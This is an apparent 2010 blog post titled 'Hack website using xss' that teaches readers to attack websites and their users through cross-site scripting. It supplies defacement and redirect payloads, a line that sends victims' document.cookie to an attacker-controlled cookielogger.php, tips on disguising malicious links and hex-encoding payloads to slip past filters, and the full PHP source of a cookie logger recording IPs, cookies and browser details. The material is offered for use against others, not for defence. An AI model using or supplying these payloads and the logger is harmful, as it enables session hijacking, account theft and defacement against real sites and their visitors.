Jumat, 26 November 2010

Hack website using xss


Cross Site Scripting

Cross site scripting allows you to insert malicious code into a website. Normally it is used for javascript, but can also be used for php and html.

For a persistent XSS attack, the user will inject the code into an input in a form. Commonly done in poorly scripted forums.

A temp XSS attack is inserted into the URL, and only executed when someone views a specific link.. An example would be like.

Code:
http://www.example.com/search.php?&searchfor=<script>alert("XSS")</script>
In the previous example, I used


Code:
<script>alert("XSS")</script>
as an example. If the website was vulnerable to XSS, it would popup a messagebox which would say XSS.

XSS exists in almost every website that exists, just because people tend not to sanitize their form inputes.

Injecting HTML into a website via XSS would be done like:


Code:
<br><br><b><u>XSS</u></b>
That would just include the bold words XSS onto the webpage somehwere.


To deface a website using XSS, to insert an image you would use the code: 


Code:
<IMG SRC="http://mywebsite.com/defacmentpic.jpg">
For a flash video: 
Code:
<EMBED SRC="http://mywebsite.com/deface.swf"
For a looping hidden music file: 


Code:
<embed src="http://mywebsite.com/deface.mid" hidden autostart="true" loop="true" />
To redirect using XSS

Code:
<script>window.open( "http://www.c0rrupt.net/" )</script>

You can even steal cookies and fake a login using XSS.

How?

Well, let me show you. With a little piece of code


Code:
document.location = "http://myserver.com/cookielogger.php?c="+document.cookie
That would be the XSS code.

Although, if you're sending someone the link, you're going to want to encrypt the link using: http://ipchanged.com/surf.php?u=Oi8v...BocA%3D%3D&b=7or you could use tinyurl.

For the encryption, you would convert 

Code:
<script>alert("XSS")</script>
to 
Code:
3c:73:63:72:69:70:74:3e:61:6c:65:72:74:28:22:58:53:53:22:29:3c:2f:73:63:72:69:70:74:3e
But, for your browser to read it, there needs to be some commas in there. 
Code:
3c,73,63,etc
The are some filters, and they are all possible to bypass. There is a cheat sheet at XSS (Cross Site Scripting) Cheat Sheet

Now, since I've made it seem like you have to send the users a link, I'm going to shine some light on some of your problems. If you happen to know that this person wont click a link, you can still possibly exploit XSS. Some forms on websites, which don't filter, will post something to the website somewhere.. Such as a forum. Say someone who was less than knowledgeable tried to code their own forum... Well, they might have everything working fine. But if you were to try to add XSS into a reply, or new thread.. Or even the name. You might be able to inject your own javascript, into permanent storage.
Keylogger.php: 


Code:


<?php 
/* 
** Kr3w's Cookie Logger 
** DemonFlyFF.com - First v15 FlyFF Private Server 
*/ 
$ip = $_SERVER['REMOTE_ADDR']; 
$cookie = $_GET['cookie']; 
$referer = $_SERVER['HTTP_REFERER']; 
$browser = $_SERVER['HTTP_USER_AGENT']; 
$redirect = $_GET['redirect']; 
$data = "IP: " . $ip . "\n" 
."Cookie: " . $cookie . "\n" 
."Referrer: " . $referer . "\n" 
."Browser: " . $browser . "\n\n"; 
$log = "cookies.txt"; 
@chmod($log, 0777); 
$f = fopen($log, 'a'); 
fwrite($f, $data); 
fclose($f); 
@header("Location: $redirect"); 
?>




Notice:Please do not copy this article if you copy it kindly provide a link back to this article.Licensed under creative common licenses



to get all latest hacking tips n tricks  directly to ur inbox


0 komentar:

Posting Komentar